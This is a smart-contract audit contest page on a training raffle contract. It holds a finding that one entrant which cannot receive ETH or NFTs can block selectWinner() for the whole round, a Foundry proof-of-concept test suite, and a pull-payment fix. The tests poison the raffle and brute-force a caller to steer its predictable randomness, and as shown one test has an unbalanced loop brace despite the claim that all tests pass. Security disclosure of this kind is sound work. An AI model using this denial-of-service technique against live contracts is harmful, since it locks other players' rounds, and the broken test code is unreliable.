Puppy Raffle

AI First Flight #1

Beginner FriendlyFoundrySolidityNFT

EXP

View results

Previous Next

Submission Details

Severity: medium

Valid

selectWinner() pushes ETH and mints NFT atomically - one bad-receiver entrant bricks the round

comphygxp

Root + Impact

Description

selectWinner() combines an ETH push payment to the winner and an NFT mint into one all-or-nothing transaction. Both steps must succeed or the entire round (including delete players) is rolled back.
If the drawn "winner" is a contract with no receive()/fallback(), the low-level ETH .call fails and require(success) reverts the whole call.
Even if the contract can receive ETH but has not implemented onERC721Received, the ETH push succeeds inside the call frame but the following _safeMint() reverts via OpenZeppelin's ERC721Receiver check - which still unwinds the entire transaction, including the ETH transfer that "already happened" in that same call.
Either way, enterRaffle() performs no validation on the type of address entered, so any player (attacker or otherwise) can seed the players array with a poisoned entrant, and the round becomes permanently stuck whenever that entrant is drawn.

address winner = players[winnerIndex];

...

delete players;

raffleStartTime = block.timestamp;

previousWinner = winner;

@> (bool success,) = winner.call{value: prizePool}("");

@> require(success, "PuppyRaffle: Failed to send prize pool to winner");

@> _safeMint(winner, tokenId);

Risk

Likelihood:

Reason 1 // Entering a poisoned contract address costs nothing extra beyond the normal entrance fee and requires no special permission - enterRaffle() accepts any address.
Reason 2 // Once a poisoned entrant is in players, the round is stuck any time the deterministic winner-selection formula lands on that index - which, given the separately-reported predictable-randomness issue, an attacker can also actively steer toward.

Impact:

Impact 1 // The round's prize pool becomes stuck and selectWinner() reverts deterministically and repeatedly for every caller, at every later timestamp, as long as the poisoned entrant remains in players.
Impact 2 // Honest players can recover their own entrance fee via refund(), but cannot forcibly evict the poisoned entrant's slot (only that entrant's own address can call refund() on its own slot, and a bare/malicious contract has no incentive or ability to do so) - so the round itself stays stuck even though individual funds are not permanently lost.

Proof of Concept

Ran with forge test --match-path "test/PoC_6.t.sol" -vv: all 3 tests pass. test_A_EthPushDoS_BricksSelectWinner shows 4 entrants that are plain contracts with no receive() deterministically brick selectWinner() (reverts on two independent attempts, with all state - including the poisoned players array - unchanged). test_B_NftMintDoS_BricksSelectWinnerEvenThoughEthPushWouldSucceed shows a contract that can receive ETH but lacks onERC721Received still bricks the round via the mint step, with the balance proven unchanged (the ETH push was rolled back too). test_C_HonestPlayersCanSelfRescueViaRefund_RoundThenResolvesNormally confirms honest players can refund() their own entrance fee, but cannot evict the poisoned slot themselves.

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

pragma experimental ABIEncoderV2;

import {Test, console} from "forge-std/Test.sol";

import {PuppyRaffle} from "../src/PuppyRaffle.sol";

contract NoReceive {}

contract ReceiveEthNoERC721 {

receive() external payable {}

}

contract PoC_6 is Test {

PuppyRaffle puppyRaffle;

uint256 entranceFee = 1e18;

uint256 duration = 1 days;

address feeAddress = address(0x99);

function setUp() public {

puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);

}

function test_A_EthPushDoS_BricksSelectWinner() public {

NoReceive a = new NoReceive();

NoReceive b = new NoReceive();

NoReceive c = new NoReceive();

NoReceive d = new NoReceive();

address[] memory players = new address[](4);

players[0] = address(a);

players[1] = address(b);

players[2] = address(c);

players[3] = address(d);

puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

vm.warp(block.timestamp + duration + 1);

vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");

puppyRaffle.selectWinner();

assertEq(puppyRaffle.players(0), address(a), "players[] unchanged - poisoned entrants remain");

assertEq(puppyRaffle.previousWinner(), address(0), "no winner was recorded");

assertEq(uint256(puppyRaffle.totalFees()), 0, "no fees accrued - fee write was also rolled back");

vm.warp(block.timestamp + 3 hours);

vm.prank(address(0xBEEF));

vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");

puppyRaffle.selectWinner();

}

function test_B_NftMintDoS_BricksSelectWinnerEvenThoughEthPushWouldSucceed() public {

ReceiveEthNoERC721 badNftReceiver = new ReceiveEthNoERC721();

address p1 = address(0x1111);

address p2 = address(0x2222);

address p3 = address(0x3333);

address[] memory players = new address[](4);

players[0] = p1;

players[1] = p2;

players[2] = p3;

players[3] = address(badNftReceiver);

puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

vm.warp(block.timestamp + duration + 1);

address chosenCaller;

bool found;

for (uint256 pk = 1; pk < 5000; pk++) {

address candidate = vm.addr(pk);

uint256 winnerIndex =

uint256(keccak256(abi.encodePacked(candidate, block.timestamp, block.difficulty))) % 4;

if (winnerIndex == 3) {

chosenCaller = candidate;

found = true;

break;

}

assertTrue(found, "PoC setup: must find a caller whose hash selects index 3");

uint256 balBefore = address(puppyRaffle).balance;

vm.prank(chosenCaller);

vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer");

puppyRaffle.selectWinner();

assertEq(address(puppyRaffle).balance, balBefore, "balance unchanged - push was rolled back with the mint failure");

assertEq(puppyRaffle.players(3), address(badNftReceiver), "poisoned entrant still in players[]");

}

function test_C_HonestPlayersCanSelfRescueViaRefund_RoundThenResolvesNormally() public {

NoReceive poison = new NoReceive();

address honest1 = address(0x1111);

address honest2 = address(0x2222);

address honest3 = address(0x3333);

address[] memory players = new address[](4);

players[0] = honest1;

players[1] = honest2;

players[2] = honest3;

players[3] = address(poison);

puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

vm.warp(block.timestamp + duration + 1);

vm.expectRevert("PuppyRaffle: Only the player can refund");

vm.prank(honest1);

puppyRaffle.refund(3);

uint256 honest1BalBeforeRefund = honest1.balance;

vm.prank(honest1);

puppyRaffle.refund(0);

assertEq(honest1.balance, honest1BalBeforeRefund + entranceFee, "honest1 recovered exactly one entrance fee");

assertEq(puppyRaffle.players(3), address(poison), "poisoned slot cannot be self-evicted by honest players");

}

Recommended Mitigation

- (bool success,) = winner.call{value: prizePool}("");

- require(success, "PuppyRaffle: Failed to send prize pool to winner");

- _safeMint(winner, tokenId);

+ // Switch to a pull-payment pattern: record `prizePool` as withdrawable by `winner`

+ // in a mapping, and let the winner call a separate withdraw() function themselves.

+ // Mint with `_mint` (not `_safeMint`) or keep `_safeMint` but decouple it from the

+ // payment step, so a bad recipient can only block their own prize claim, not the

+ // entire round for everyone.

Decoupling payment/minting from round-resolution (pull over push) means a single incompatible winner address can no longer hold the whole raffle hostage - at worst they simply forfeit their own prize.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago

Submission Judgement Published

Validated

Assigned finding tags:

[M-03] Impossible to win raffle if the winner is a smart contract without a fallback function

## Description If a player submits a smart contract as a player, and if it doesn't implement the `receive()` or `fallback()` function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol. ## Vulnerability Details The vulnerability comes from the way that are programmed smart contracts, if the smart contract doesn't implement a `receive() payable` or `fallback() payable` functions, it is not possible to send ether to the program. ## Impact High - Medium: The protocol won't be able to select a winner but players will be able to withdraw funds with the `refund()` function ## Recommendations Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in enterRaffle is a smart contract, if it is we revert the transaction. We can easily implement this check into the function because of the Adress library from OppenZeppelin. I'll add this replace `enterRaffle()` with these lines of code: ```solidity function enterRaffle(address[] memory newPlayers) public payable { require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle"); for (uint256 i = 0; i < newPlayers.length; i++) { require(Address.isContract(newPlayers[i]) == false, "The players need to be EOAs"); players.push(newPlayers[i]); } // Check for duplicates for (uint256 i = 0; i < players.length - 1; i++) { for (uint256 j = i + 1; j < players.length; j++) { require(players[i] != players[j], "PuppyRaffle: Duplicate player"); } } emit RaffleEnter(newPlayers); } ```

Rewards breakdown

This contest has a flat reward structure with the following payouts:

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being reviewed by our AI judge. Results will be available in a few minutes.

View all submissions

Rewards Distribution

The contest is complete and the rewards are being distributed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!